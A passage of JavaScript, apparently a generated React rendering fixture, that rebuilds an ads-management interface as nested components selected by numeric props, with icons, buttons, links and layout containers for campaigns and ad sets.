null,\n        });\n      }\n      if (this.props.x === 148) {\n        return React.createElement('i', {\n          className: '_3yz6 _5whs img sp_i534r85sjIn sx_896996',\n          src: null,\n          alt: '',\n        });\n      }\n      if (this.props.x === 152) {\n        return React.createElement('i', {\n          className: '_5b5p _4gem img sp_i534r85sjIn sx_896996',\n          src: null,\n          alt: '',\n        });\n      }\n      if (this.props.x === 153) {\n        return React.createElement('i', {\n          className: '_541d img sp_i534r85sjIn sx_2f396a',\n          src: null,\n          alt: '',\n        });\n      }\n      if (this.props.x === 160) {\n        return React.createElement('i', {\n          src: null,\n          alt: '',\n          className: 'img sp_i534r85sjIn sx_31d9b0',\n        });\n      }\n      if (this.props.x === 177) {\n        return React.createElement('i', {\n          alt: '',\n          className: '_3-99 img sp_i534r85sjIn sx_2c18b7',\n          src: null,\n        });\n      }\n      if (this.props.x === 186) {\n        return React.createElement('i', {\n          src: null,\n          alt: '',\n          className: 'img sp_i534r85sjIn sx_0a681f',\n        });\n      }\n      if (this.props.x === 195) {\n        return React.createElement('i', {\n          className: '_1-lx img sp_OkER5ktbEyg sx_b369b4',\n          src: null,\n          alt: '',\n        });\n      }\n      if (this.props.x === 198) {\n        return React.createElement('i', {\n          className: '_1-lx img sp_i534r85sjIn sx_96948e',\n          src: null,\n          alt: '',\n        });\n      }\n      if (this.props.x === 237) {\n        return React.createElement('i', {\n          className: '_541d img sp_i534r85sjIn sx_2f396a',\n          src: null,\n          alt: '',\n        });\n      }\n      if (this.props.x === 266) {\n        return React.createElement('i', {\n          alt: '',\n          className: '_3-99 img sp_i534r85sjIn sx_538591',\n          src: null,\n        });\n      }\n      if (this.props.x === 314) {\n        return React.createElement('i', {\n          className: '_1cie _1cif img sp_i534r85sjIn sx_6e6820',\n          src: null,\n          alt: '',\n        });\n      }\n      if (this.props.x === 345) {\n        return React.createElement('i', {\n          className: '_1cie img sp_i534r85sjIn sx_e896cf',\n          src: null,\n          alt: '',\n        });\n      }\n      if (this.props.x === 351) {\n        return React.createElement('i', {\n          className: '_1cie img sp_i534r85sjIn sx_38fed8',\n          src: null,\n          alt: '',\n        });\n      }\n    }\n  }\n\n  class AbstractLink1 extends React.Component {\n    render() {\n      if (this.props.x === 1) {\n        return React.createElement(\n          'a',\n          {\n            className: '_387r _55pi _2agf _4jy0 _4jy4 _517h _51sy _42ft',\n            style: {width: 250, maxWidth: '250px'},\n            disabled: null,\n            label: null,\n            href: '#',\n            rel: undefined,\n            onClick: function () {},\n          },\n          null,\n          React.createElement(\n            'span',\n            {className: '_55pe', style: {maxWidth: '236px'}},\n            null,\n            React.createElement(\n              'span',\n              null,\n              React.createElement('span', {className: '_48u-'}, 'Account:'),\n              ' ',\n              'Dick Madanson (10149999073643408)'\n            )\n          ),\n          React.createElement(ReactImage0, {x: 0})\n        );\n      }\n      if (this.props.x === 43) {\n        return React.createElement(\n          'a',\n          {\n            className: '_585q _50zy _50-0 _50z- _5upp _42ft',\n            size: 'medium',\n            type: null,\n            title: 'Remove',\n            'data-hover': undefined,\n            'data-tooltip-alignh': undefined,\n            'data-tooltip-content': undefined,\n            disabled: null,\n            label: null,\n            href: '#',\n            rel: undefined,\n            onClick: function () {},\n          },\n          undefined,\n          'Remove',\n          undefined\n        );\n      }\n      if (this.props.x === 49) {\n        return React.createElement(\n          'a',\n          {\n            target: '_blank',\n            href: '/ads/manage/billing.php?act=10149999073643408',\n            rel: undefined,\n            onClick: function () {},\n          },\n          React.createElement(XUIText29, {x: 48})\n        );\n      }\n      if (this.props.x === 128) {\n        return React.createElement(\n          'a',\n          {\n            className: ' _5bbf _55pi _2agf _4jy0 _4jy4 _517h _51sy _42ft',\n            style: {maxWidth: '200px'},\n            disabled: null,\n            label: null,\n            href: '#',\n            rel: undefined,\n            onClick: function () {},\n          },\n          null,\n          React.createElement(\n            'span',\n            {className: '_55pe', style: {maxWidth: '186px'}},\n            React.createElement(ReactImage0, {x: 126}),\n            'Search'\n          ),\n          React.createElement(ReactImage0, {x: 127})\n        );\n      }\n      if (this.props.x === 136) {\n        return React.createElement(\n          'a',\n          {\n            className: ' _5bbf _55pi _2agf _4jy0 _4jy4 _517h _51sy _42ft',\n            style: {maxWidth: '200px'},\n            disabled: null,\n            label: null,\n            href: '#',\n            rel: undefined,\n            onClick: function () {},\n          },\n          null,\n          React.createElement(\n            'span',\n            {className: '_55pe', style: {maxWidth: '186px'}},\n            React.createElement(ReactImage0, {x: 134}),\n            'Filters'\n          ),\n          React.createElement(ReactImage0, {x: 135})\n        );\n      }\n      if (this.props.x === 178) {\n        return React.createElement(\n          'a',\n          {\n            className: '_1_-t _1_-v _42ft',\n            disabled: null,\n            height: 'medium',\n            role: 'button',\n            label: null,\n            href: '#',\n            rel: undefined,\n            onClick: function () {},\n          },\n          undefined,\n          'Lifetime',\n          React.createElement(ReactImage0, {x: 177})\n        );\n      }\n      if (this.props.x === 207) {\n        return React.createElement(\n          'a',\n          {href: '#', rel: undefined, onClick: function () {}},\n          'Create Ad Set'\n        );\n      }\n      if (this.props.x === 209) {\n        return React.createElement(\n          'a',\n          {href: '#', rel: undefined, onClick: function () {}},\n          'View Ad Set'\n        );\n      }\n      if (this.props.x === 241) {\n        return React.createElement(\n          'a',\n          {href: '#', rel: undefined, onClick: function () {}},\n          'Set a Limit'\n        );\n      }\n      if (this.props.x === 267) {\n        return React.createElement(\n          'a',\n          {\n            className: '_p _55pi _2agf _4jy0 _4jy3 _517h _51sy _42ft',\n            style: {maxWidth: '200px'},\n            disabled: null,\n            label: null,\n            href: '#',\n            rel: undefined,\n            onClick: function () {},\n          },\n          null,\n          React.createElement(\n            'span',\n            {className: '_55pe', style: {maxWidth: '186px'}},\n            null,\n            'Links'\n          ),\n          React.createElement(ReactImage0, {x: 266})\n        );\n      }\n    }\n  }\n\n  class Link2 extends React.Component {\n    render() {\n      if (this.props.x === 2) {\n        return React.createElement(AbstractLink1, {x: 1});\n      }\n      if (this.props.x === 44) {\n        return React.createElement(AbstractLink1, {x: 43});\n      }\n      if (this.props.x === 50) {\n        return React.createElement(AbstractLink1, {x: 49});\n      }\n      if (this.props.x === 129) {\n        return React.createElement(AbstractLink1, {x: 128});\n      }\n      if (this.props.x === 137) {\n        return React.createElement(AbstractLink1, {x: 136});\n      }\n      if (this.props.x === 179) {\n        return React.createElement(AbstractLink1, {x: 178});\n      }\n      if (this.props.x === 208) {\n        return React.createElement(AbstractLink1, {x: 207});\n      }\n      if (this.props.x === 210) {\n        return React.createElement(AbstractLink1, {x: 209});\n      }\n      if (this.props.x === 242) {\n        return React.createElement(AbstractLink1, {x: 241});\n      }\n      if (this.props.x === 268) {\n        return React.createElement(AbstractLink1, {x: 267});\n      }\n    }\n  }\n\n  class AbstractButton3 extends React.Component {\n    render() {\n      if (this.props.x === 3) {\n        return React.createElement(Link2, {x: 2});\n      }\n      if (this.props.x === 20) {\n        return React.createElement(\n          'button',\n          {\n            className: '_5n7z _4jy0 _4jy4 _517h _51sy _42ft',\n            onClick: function () {},\n            label: null,\n            type: 'submit',\n            value: '1',\n          },\n          undefined,\n          'Discard Changes',\n          undefined\n        );\n      }\n      if (this.props.x === 23) {\n        return React.createElement(\n          'button',\n          {\n            className: '_5n7z _2yak _4lj- _4jy0 _4jy4 _517h _51sy _42ft _42fr',\n            disabled: true,\n            onClick: function () {},\n            'data-tooltip-content': 'You have no changes to publish',\n            'data-hover': 'tooltip',\n            label: null,\n            type: 'submit',\n            value: '1',\n          },\n          React.createElement(ReactImage0, {x: 22}),\n          'Review Changes',\n          undefined\n        );\n      }\n      if (this.props.x === 45) {\n        return React.createElement(Link2, {x: 44});\n      }\n      if (this.props.x === 68) {\n        return React.createElement(\n          'button',\n          {\n            className: '_u_k _4jy0 _4jy4 _517h _51sy _42ft',\n            onClick: function () {},\n            label: null,\n            type: 'submit',\n            value: '1',\n          },\n          React.createElement(ReactImage0, {x: 67}),\n          'Create Campaign',\n          undefined\n        );\n      }\n      if (this.props.x === 71) {\n        return React.createElement(\n          'button',\n          {\n            className: '_u_k _3qx6 _p _4jy0 _4jy4 _517h _51sy _42ft',\n            label: null,\n            type: 'submit',\n            value: '1',\n          },\n          React.createElement(ReactImage0, {x: 70}),\n          undefined,\n          undefined\n        );\n      }\n      if (this.props.x === 77) {\n        return React.createElement(\n          'button',\n          {\n            'aria-label': 'Edit',\n            'data-tooltip-content': 'Edit Campaigns (Ctrl+U)',\n            'data-hover': 'tooltip',\n            className: '_d2_ _u_k noMargin _4jy0 _4jy4 _517h _51sy _42ft',\n            disabled: false,\n            onClick: function () {},\n            label: null,\n            type: 'submit',\n            value: '1',\n          },\n          React.createElement(ReactImage0, {x: 76}),\n          'Edit',\n          undefined\n        );\n      }\n      if (this.props.x === 80) {\n        return React.createElement(\n          'button',\n          {\n            className: '_u_k _3qx6 _p _4jy0 _4jy4 _517h _51sy _42ft',\n            disabled: false,\n            label: null,\n            type: 'submit',\n            value: '1',\n          },\n          React.createElement(ReactImage0, {x: 79}),\n          undefined,\n          undefined\n        );\n      }\n      if (this.props.x === 89) {\n        return React.createElement(\n          'button',\n          {\n            'aria-label': 'Revert',\n            className: '_u_k _4jy0 _4jy4 _517h _51sy _42ft _42fr',\n            'data-hover': 'tooltip',\n            'data-tooltip-content': 'Revert',\n            disabled: true,\n            onClick: function () {},\n            label: null,\n            type: 'submit',\n            value: '1',\n          },\n          React.createElement(ReactImage0, {x: 88}),\n          undefined,\n          undefined\n        );\n      }\n      if (this.props.x === 92) {\n        return React.createElement(\n          'button',\n          {\n            'aria-label': 'Delete',\n            className: '_u_k _4jy0 _4jy4 _517h _51sy _42ft',\n            'data-hover': 'tooltip',\n            'data-tooltip-content': 'Delete',\n            disabled: false,\n            onClick: function () {},\n            label: null,\n            type: 'submit',\n            value: '1',\n          },\n          React.createElement(ReactImage0, {x: 91}),\n          undefined,\n          undefined\n        );\n      }\n      if (this.props.x === 95) {\n        return React.createElement(\n          'button',\n          {\n            'aria-label': 'Duplicate',\n            className: '_u_k _4jy0 _4jy4 _517h _51sy _42ft',\n            'data-hover': 'tooltip',\n            'data-tooltip-content': 'Duplicate',\n            disabled: false,\n            onClick: function () {},\n            label: null,\n            type: 'submit',\n            value: '1',\n          },\n          React.createElement(ReactImage0, {x: 94}),\n          undefined,\n          undefined\n        );\n      }\n      if (this.props.x === 99) {\n        return React.createElement(\n          'button',\n          {\n            'aria-label': 'Export & Import',\n            className: '_u_k noMargin _p _4jy0 _4jy4 _517h _51sy _42ft',\n            'data-hover': 'tooltip',\n            'data-tooltip-content': 'Export & Import',\n            onClick: function () {},\n            label: null,\n            type: 'submit',\n            value: '1',\n          },\n          React.createElement(ReactImage0, {x: 98}),\n          undefined,\n          undefined\n        );\n      }\n      if (this.props.x === 109) {\n        return React.createElement(\n          'button',\n          {\n            'aria-label': 'Create Report',\n            className: '_u_k _5n7z _4jy0 _4jy4 _517h _51sy _42ft',\n            'data-hover': 'tooltip',\n            'data-tooltip-content': 'Create Report',\n            disabled: false,\n            style: {boxSizing: 'border-box', height: '28px', width: '48px'},\n            onClick: function () {},\n            label: null,\n            type: 'submit',\n            value: '1',\n          },\n          React.createElement(ReactImage0, {x: 108}),\n          undefined,\n          undefined\n        );\n      }\n      if (this.props.x === 112) {\n        return React.createElement(\n          'button',\n          {\n            'aria-label': 'Campaign Tags',\n            className: ' _5uy7 _4jy0 _4jy4 _517h _51sy _42ft',\n            'data-hover': 'tooltip',\n            'data-tooltip-content': 'Campaign Tags',\n            disabled: false,\n            onClick: function () {},\n            label: null,\n            type: 'submit',\n            value: '1',\n          },\n          React.createElement(ReactImage0, {x: 111}),\n          undefined,\n          undefined\n        );\n      }\n      if (this.props.x === 130) {\n        return React.createElement(Link2, {x: 129});\n      }\n      if (this.props.x === 138) {\n        return React.createElement(Link2, {x: 137});\n      }\n      if (this.props.x === 149) {\n        return React.createElement(\n          'button',\n          {\n            className: '_3yz9 _1t-2 _50z- _50zy _50zz _50z- _5upp _42ft',\n            size: 'small',\n            onClick: function () {},\n            type: 'button',\n            title: 'Remove',\n            'data-hover': undefined,\n            'data-tooltip-alignh': undefined,\n            'data-tooltip-content': undefined,\n            label: null,\n          },\n          undefined,\n          'Remove',\n          undefined\n        );\n      }\n      if (this.props.x === 156) {\n        return React.createElement(\n          'button',\n          {\n            className: '_5b5u _5b5v _4jy0 _4jy3 _517h _51sy _42ft',\n            onClick: function () {},\n            label: null,\n            type: 'submit',\n            value: '1',\n          },\n          undefined,\n          'Apply',\n          undefined\n        );\n      }\n      if (this.props.x === 161) {\n        return React.createElement(\n          'button',\n          {\n            className: '_1wdf _4jy0 _517i _517h _51sy _42ft',\n            onClick: function () {},\n            label: null,\n            type: 'submit',\n            value: '1',\n          },\n          React.createElement(ReactImage0, {x: 160}),\n          undefined,\n          undefined\n        );\n      }\n      if (this.props.x === 180) {\n        return React.createElement(Link2, {x: 179});\n      }\n      if (this.props.x === 187) {\n        return React.createElement(\n          'button',\n          {\n            'aria-label': 'List Settings',\n            className: '_u_k _3c5o _1-r0 _4jy0 _4jy4 _517h _51sy _42ft',\n            'data-hover': 'tooltip',\n            'data-tooltip-content': 'List Settings',\n            onClick: function () {},\n            label: null,\n            type: 'submit',\n            value: '1',\n          },\n          React.createElement(ReactImage0, {x: 186}),\n          undefined,\n          undefined\n        );\n      }\n      if (this.props.x === 269) {\n        return React.createElement(Link2, {x: 268});\n      }\n      if (this.props.x === 303) {\n        return React.createElement(\n          'button',\n          {\n            className: '_tm3 _tm6 _tm7 _4jy0 _4jy6 _517h _51sy _42ft',\n            'data-tooltip-position': 'right',\n            'data-tooltip-content': 'Campaigns',\n            'data-hover': 'tooltip',\n            onClick: function () {},\n            label: null,\n            type: 'submit',\n            value: '1',\n          },\n          undefined,\n          React.createElement(\n            'div',\n            null,\n            React.createElement('div', {className: '_tma'}),\n            React.createElement('div', {className: '_tm8'}),\n            React.createElement('div', {className: '_tm9'}, 1)\n          ),\n          undefined\n        );\n      }\n      if (this.props.x === 305) {\n        return React.createElement(\n          'button',\n          {\n            className: '_tm4 _tm6 _4jy0 _4jy6 _517h _51sy _42ft',\n            'data-tooltip-position': 'right',\n            'data-tooltip-content': 'Ad Sets',\n            'data-hover': 'tooltip',\n            onClick: function () {},\n            label: null,\n            type: 'submit',\n            value: '1',\n          },\n          undefined,\n          React.createElement(\n            'div',\n            null,\n            React.createElement('div', {className: '_tma'}),\n            React.createElement('div', {className: '_tm8'}),\n            React.createElement('div', {className: '_tm9'}, 1)\n          ),\n          undefined\n        );\n      }\n      if (this.props.x === 307) {\n        return React.createElement(\n          'button',\n          {\n            className: '_tm5 _tm6 _4jy0 _4jy6 _517h _51sy _42ft',\n            'data-tooltip-position': 'right',\n            'data-tooltip-content': 'Ads',\n            'data-hover': 'tooltip',\n            onClick: function () {},\n            label: null,\n            type: 'submit',\n            value: '1',\n          },\n          undefined,\n          React.createElement(\n            'div',\n            null,\n            React.createElement('div', {className: '_tma'}),\n            React.createElement('div', {className: '_tm8'}),\n            React.createElement('div', {className: '_tm9'}, 1)\n          ),\n          undefined\n        );\n      }\n    }\n  }\n\n  class XUIButton4 extends React.Component {\n    render() {\n      if (this.props.x === 4) {\n        return React.createElement(AbstractButton3, {x: 3});\n      }\n      if (this.props.x === 21) {\n        return React.createElement(AbstractButton3, {x: 20});\n      }\n      if (this.props.x === 24) {\n        return React.createElement(AbstractButton3, {x: 23});\n      }\n      if (this.props.x === 69) {\n        return React.createElement(AbstractButton3, {x: 68});\n      }\n      if (this.props.x === 72) {\n        return React.createElement(AbstractButton3, {x: 71});\n      }\n      if (this.props.x === 78) {\n        return React.createElement(AbstractButton3, {x: 77});\n      }\n      if (this.props.x === 81) {\n        return React.createElement(AbstractButton3, {x: 80});\n      }\n      if (this.props.x === 90) {\n        return React.createElement(AbstractButton3, {x: 89});\n      }\n      if (this.props.x === 93) {\n        return React.createElement(AbstractButton3, {x: 92});\n      }\n      if (this.props.x === 96) {\n        return React.createElement(AbstractButton3, {x: 95});\n      }\n      if (this.props.x === 100) {\n        return React.createElement(AbstractButton3, {x: 99});\n      }\n      if (this.props.x === 110) {\n        return React.createElement(AbstractButton3, {x: 109});\n      }\n      if (this.props.x === 113) {\n        return React.createElement(AbstractButton3, {x: 112});\n      }\n      if (this.props.x === 131) {\n        return React.createElement(AbstractButton3, {x: 130});\n      }\n      if (this.props.x === 139) {\n        return React.createElement(AbstractButton3, {x: 138});\n      }\n      if (this.props.x === 157) {\n        return React.createElement(AbstractButton3, {x: 156});\n      }\n      if (this.props.x === 162) {\n        return React.createElement(AbstractButton3, {x: 161});\n      }\n      if (this.props.x === 188) {\n        return React.createElement(AbstractButton3, {x: 187});\n      }\n      if (this.props.x === 270) {\n        return React.createElement(AbstractButton3, {x: 269});\n      }\n      if (this.props.x === 304) {\n        return React.createElement(AbstractButton3, {x: 303});\n      }\n      if (this.props.x === 306) {\n        return React.createElement(AbstractButton3, {x: 305});\n      }\n      if (this.props.x === 308) {\n        return React.createElement(AbstractButton3, {x: 307});\n      }\n    }\n  }\n\n  class AbstractPopoverButton5 extends React.Component {\n    render() {\n      if (this.props.x === 5) {\n        return React.createElement(XUIButton4, {x: 4});\n      }\n      if (this.props.x === 132) {\n        return React.createElement(XUIButton4, {x: 131});\n      }\n      if (this.props.x === 140) {\n        return React.createElement(XUIButton4, {x: 139});\n      }\n      if (this.props.x === 271) {\n        return React.createElement(XUIButton4, {x: 270});\n      }\n    }\n  }\n\n  class ReactXUIPopoverButton6 extends React.Component {\n    render() {\n      if (this.props.x === 6) {\n        return React.createElement(AbstractPopoverButton5, {x: 5});\n      }\n      if (this.props.x === 133) {\n        return React.createElement(AbstractPopoverButton5, {x: 132});\n      }\n      if (this.props.x === 141) {\n        return React.createElement(AbstractPopoverButton5, {x: 140});\n      }\n      if (this.props.x === 272) {\n        return React.createElement(AbstractPopoverButton5, {x: 271});\n      }\n    }\n  }\n\n  class BIGAdAccountSelector7 extends React.Component {\n    render() {\n      if (this.props.x === 7) {\n        return React.createElement(\n          'div',\n          null,\n          React.createElement(ReactXUIPopoverButton6, {x: 6}),\n          null\n        );\n      }\n    }\n  }\n\n  class FluxContainer_AdsPEBIGAdAccountSelectorContainer_8 extends React.Component {\n    render() {\n      if (this.props.x === 8) {\n        return React.createElement(BIGAdAccountSelector7, {x: 7});\n      }\n    }\n  }\n\n  class ErrorBoundary9 extends React.Component {\n    render() {\n      if (this.props.x === 9) {\n        return React.createElement(\n          FluxContainer_AdsPEBIGAdAccountSelectorContainer_8,\n          {x: 8}\n        );\n      }\n      if (this.props.x === 13) {\n        return React.createElement(\n          FluxContainer_AdsPENavigationBarContainer_12,\n          {x: 12}\n        );\n      }\n      if (this.props.x === 27) {\n        return React.createElement(\n          FluxContainer_AdsPEPublishButtonContainer_18,\n          {x: 26}\n        );\n      }\n      if (this.props.x === 32) {\n        return React.createElement(ReactPopoverMenu20, {x: 31});\n      }\n      if (this.props.x === 38) {\n        return React.createElement(AdsPEResetDialog24, {x: 37});\n      }\n      if (this.props.x === 57) {\n        return React.createElement(FluxContainer_AdsPETopErrorContainer_35, {\n          x: 56,\n        });\n      }\n      if (this.props.x === 60) {\n        return React.createElement(FluxContainer_AdsGuidanceChannel_36, {\n          x: 59,\n        });\n      }\n      if (this.props.x === 64) {\n        return React.createElement(\n          FluxContainer_AdsBulkEditDialogContainer_38,\n          {x: 63}\n        );\n      }\n      if (this.props.x === 124) {\n        return React.createElement(AdsPECampaignGroupToolbarContainer57, {\n          x: 123,\n        });\n      }\n      if (this.props.x === 170) {\n        return React.createElement(AdsPEFilterContainer72, {x: 169});\n      }\n      if (this.props.x === 175) {\n        return React.createElement(AdsPETablePagerContainer75, {x: 174});\n      }\n      if (this.props.x === 193) {\n        return React.createElement(AdsPEStatRangeContainer81, {x: 192});\n      }\n      if (this.props.x === 301) {\n        return React.createElement(\n          FluxContainer_AdsPEMultiTabDrawerContainer_137,\n          {x: 300}\n        );\n      }\n      if (this.props.x === 311) {\n        return React.createElement(AdsPEOrganizerContainer139, {x: 310});\n      }\n      if (this.props.x === 471) {\n        return React.createElement(AdsPECampaignGroupTableContainer159, {\n          x: 470,\n        });\n      }\n      if (this.props.x === 475) {\n        return React.createElement(AdsPEContentContainer161, {x: 474});\n      }\n    }\n  }\n\n  class AdsErrorBoundary10 extends React.Component {\n    render() {\n      if (this.props.x === 10) {\n        return React.createElement(ErrorBoundary9, {x: 9});\n      }\n      if (this.props.x === 14) {\n        return React.createElement(ErrorBoundary9, {x: 13});\n      }\n      if (this.props.x === 28) {\n        return React.createElement(ErrorBoundary9, {x: 27});\n      }\n      if (this.props.x === 33) {\n        return React.createElement(ErrorBoundary9, {x: 32});\n      }\n      if (this.props.x === 39) {\n        return React.createElement(ErrorBoundary9, {x: 38});\n      }\n      if (this.props.x === 58) {\n        return React.createElement(ErrorBoundary9, {x: 57});\n      }\n      if (this.props.x === 61) {\n        return React.createElement(ErrorBoundary9, {x: 60});\n      }\n      if (this.props.x === 65) {\n        return React.createElement(ErrorBoundary9, {x: 64});\n      }\n      if (this.props.x === 125) {\n        return React.createElement(ErrorBoundary9, {x: 124});\n      }\n      if (this.props.x === 171) {\n        return React.createElement(ErrorBoundary9, {x: 170});\n      }\n      if (this.props.x === 176) {\n        return React.createElement(ErrorBoundary9, {x: 175});\n      }\n      if (this.props.x === 194) {\n        return React.createElement(ErrorBoundary9, {x: 193});\n      }\n      if (this.props.x === 302) {\n        return React.createElement(ErrorBoundary9, {x: 301});\n      }\n      if (this.props.x === 312) {\n        return React.createElement(ErrorBoundary9, {x: 311});\n      }\n      if (this.props.x === 472) {\n        return React.createElement(ErrorBoundary9, {x: 471});\n      }\n      if (this.props.x === 476) {\n        return React.createElement(ErrorBoundary9, {x: 475});\n      }\n    }\n  }\n\n  class AdsPENavigationBar11 extends React.Component {\n    render() {\n      if (this.props.x === 11) {\n        return React.createElement('div', {className: '_4t_9'});\n      }\n    }\n  }\n\n  class FluxContainer_AdsPENavigationBarContainer_12 extends React.Component {\n    render() {\n      if (this.props.x === 12) {\n        return React.createElement(AdsPENavigationBar11, {x: 11});\n      }\n    }\n  }\n\n  class AdsPEDraftSyncStatus13 extends React.Component {\n    render() {\n      if (this.props.x === 16) {\n        return React.createElement(\n          'div',\n          {className: '_3ut-', onClick: function () {}},\n          React.createElement(\n            'span',\n            {className: '_3uu0'},\n            React.createElement(ReactImage0, {x: 15})\n          )\n        );\n      }\n    }\n  }\n\n  class FluxContainer_AdsPEDraftSyncStatusContainer_14 extends React.Component {\n    render() {\n      if (this.props.x === 17) {\n        return React.createElement(AdsPEDraftSyncStatus13, {x: 16});\n      }\n    }\n  }\n\n  class AdsPEDraftErrorsStatus15 extends React.Component {\n    render() {\n      if (this.props.x === 18) {\n        return null;\n      }\n    }\n  }\n\n  class FluxContainer_viewFn_16 extends React.Component {\n    render() {\n      if (this.props.x === 19) {\n        return React.createElement(AdsPEDraftErrorsStatus15, {x: 18});\n      }\n    }\n  }\n\n  class AdsPEPublishButton17 extends React.Component {\n    render() {\n      if (this.props.x === 25) {\n        return React.createElement(\n          'div',\n          {className: '_5533'},\n          React.createElement(FluxContainer_AdsPEDraftSyncStatusContainer_14, {\n            x: 17,\n          }),\n          React.createElement(FluxContainer_viewFn_16, {x: 19}),\n          null,\n          React.createElement(XUIButton4, {x: 21, key: 'discard'}),\n          React.createElement(XUIButton4, {x: 24})\n        );\n      }\n    }\n  }\n\n  class FluxContainer_AdsPEPublishButtonContainer_18 extends React.Component {\n    render() {\n      if (this.props.x === 26) {\n        return React.createElement(AdsPEPublishButton17, {x: 25});\n      }\n    }\n  }\n\n  class InlineBlock19 extends React.Component {\n    render() {\n      if (this.props.x === 30) {\n        return React.createElement(\n          'div',\n          {className: 'uiPopover _6a _6b', disabled: null},\n          React.createElement(ReactImage0, {x: 29, key: '.0'})\n        );\n      }\n      if (this.props.x === 73) {\n        return React.createElement(\n          'div',\n          {className: 'uiPopover _6a _6b', disabled: null},\n          React.createElement(XUIButton4, {x: 72, key: '.0'})\n        );\n      }\n      if (this.props.x === 82) {\n        return React.createElement(\n          'div',\n          {className: '_1nwm uiPopover _6a _6b', disabled: null},\n          React.createElement(XUIButton4, {x: 81, key: '.0'})\n        );\n      }\n      if (this.props.x === 101) {\n        return React.createElement(\n          'div',\n          {size: 'large', className: 'uiPopover _6a _6b', disabled: null},\n          React.createElement(XUIButton4, {x: 100, key: '.0'})\n        );\n      }\n      if (this.props.x === 273) {\n        return React.createElement(\n          'div',\n          {\n            className: '_3-90 uiPopover _6a _6b',\n            style: {marginTop: 2},\n            disabled: null,\n          },\n          React.createElement(ReactXUIPopoverButton6, {x: 272, key: '.0'})\n        );\n      }\n    }\n  }\n\n  class ReactPopoverMenu20 extends React.Component {\n    render() {\n      if (this.props.x === 31) {\n        return React.createElement(InlineBlock19, {x: 30});\n      }\n      if (this.props.x === 74) {\n        return React.createElement(InlineBlock19, {x: 73});\n      }\n      if (this.props.x === 83) {\n        return React.createElement(InlineBlock19, {x: 82});\n      }\n      if (this.props.x === 102) {\n        return React.createElement(InlineBlock19, {x: 101});\n      }\n      if (this.props.x === 274) {\n        return React.createElement(InlineBlock19, {x: 273});\n      }\n    }\n  }\n\n  class LeftRight21 extends React.Component {\n    render() {\n      if (this.props.x === 34) {\n        return React.createElement(\n          'div',\n          {className: 'clearfix'},\n          React.createElement(\n            'div',\n            {key: 'left', className: '_ohe lfloat'},\n            React.createElement(\n              'div',\n              {className: '_34_j'},\n              React.createElement(\n                'div',\n                {className: '_34_k'},\n                React.createElement(AdsErrorBoundary10, {x: 10})\n              ),\n              React.createElement(\n                'div',\n                {className: '_2u-6'},\n                React.createElement(AdsErrorBoundary10, {x: 14})\n              )\n            )\n          ),\n          React.createElement(\n            'div',\n            {key: 'right', className: '_ohf rfloat'},\n            React.createElement(\n              'div',\n              {className: '_34_m'},\n              React.createElement(\n                'div',\n                {key: '0', className: '_5ju2'},\n                React.createElement(AdsErrorBoundary10, {x: 28})\n              ),\n              React.createElement(\n                'div',\n                {key: '1', className: '_5ju2'},\n                React.createElement(AdsErrorBoundary10, {x: 33})\n              )\n            )\n          )\n        );\n      }\n      if (this.props.x === 232) {\n        return React.createElement(\n          'div',\n          {direction: 'left', className: 'clearfix'},\n          React.createElement(\n            'div',\n            {key: 'left', className: '_ohe lfloat'},\n            React.createElement(AdsLabeledField104, {x: 231})\n          ),\n          React.createElement(\n            'div',\n            {key: 'right', className: ''},\n            React.createElement(\n              'div',\n              {className: '_42ef'},\n              React.createElement(\n                'div',\n                {className: '_2oc7'},\n                'Clicks to Website'\n              )\n            )\n          )\n        );\n      }\n      if (this.props.x === 235) {\n        return React.createElement(\n          'div',\n          {className: '_3-8x clearfix', direction: 'left'},\n          React.createElement(\n            'div',\n            {key: 'left', className: '_ohe lfloat'},\n            React.createElement(AdsLabeledField104, {x: 234})\n          ),\n          React.createElement(\n            'div',\n            {key: 'right', className: ''},\n            React.createElement(\n              'div',\n              {className: '_42ef'},\n              React.createElement('div', {className: '_2oc7'}, 'Auction')\n            )\n          )\n        );\n      }\n      if (this.props.x === 245) {\n        return React.createElement(\n          'div',\n          {className: '_3-8y clearfix', direction: 'left'},\n          React.createElement(\n            'div',\n            {key: 'left', className: '_ohe lfloat'},\n            React.createElement(AdsLabeledField104, {x: 240})\n          ),\n          React.createElement(\n            'div',\n            {key: 'right', className: ''},\n            React.createElement(\n              'div',\n              {className: '_42ef'},\n              React.createElement(\n                FluxContainer_AdsCampaignGroupSpendCapContainer_107,\n                {x: 244}\n              )\n            )\n          )\n        );\n      }\n      if (this.props.x === 277) {\n        return React.createElement(\n          'div',\n          {className: '_5dw9 _5dwa clearfix'},\n          React.createElement(\n            'div',\n            {key: 'left', className: '_ohe lfloat'},\n            React.createElement(XUICardHeaderTitle100, {x: 265, key: '.0'})\n          ),\n          React.createElement(\n            'div',\n            {key: 'right', className: '_ohf rfloat'},\n            React.createElement(\n              FluxContainer_AdsPluginizedLinksMenuContainer_121,\n              {x: 276, key: '.1'}\n            )\n          )\n        );\n      }\n    }\n  }\n\n  class AdsUnifiedNavigationLocalNav22 extends React.Component {\n    render() {\n      if (this.props.x === 35) {\n        return React.createElement(\n          'div',\n          {className: '_34_i'},\n          React.createElement(LeftRight21, {x: 34})\n        );\n      }\n    }\n  }\n\n  class XUIDialog23 extends React.Component {\n    render() {\n      if (this.props.x === 36) {\n        return null;\n      }\n    }\n  }\n\n  class AdsPEResetDialog24 extends React.Component {\n    render() {\n      if (this.props.x === 37) {\n        return React.createElement(\n          'span',\n          null,\n          React.createElement(XUIDialog23, {x: 36, key: 'dialog/.0'})\n        );\n      }\n    }\n  }\n\n  class AdsPETopNav25 extends React.Component {\n    render() {\n      if (this.props.x === 40) {\n        return React.createElement(\n          'div',\n          {style: {width: 1306}},\n          React.createElement(AdsUnifiedNavigationLocalNav22, {x: 35}),\n          React.createElement(AdsErrorBoundary10, {x: 39})\n        );\n      }\n    }\n  }\n\n  class FluxContainer_AdsPETopNavContainer_26 extends React.Component {\n    render() {\n      if (this.props.x === 41) {\n        return React.createElement(AdsPETopNav25, {x: 40});\n      }\n    }\n  }\n\n  class XUIAbstractGlyphButton27 extends React.Component {\n    render() {\n      if (this.props.x === 46) {\n        return React.createElement(AbstractButton3, {x: 45});\n      }\n      if (this.props.x === 150) {\n        return React.createElement(AbstractButton3, {x: 149});\n      }\n    }\n  }\n\n  class XUICloseButton28 extends React.Component {\n    render() {\n      if (this.props.x === 47) {\n        return React.createElement(XUIAbstractGlyphButton27, {x: 46});\n      }\n      if (this.props.x === 151) {\n        return React.createElement(XUIAbstractGlyphButton27, {x: 150});\n      }\n    }\n  }\n\n  class XUIText29 extends React.Component {\n  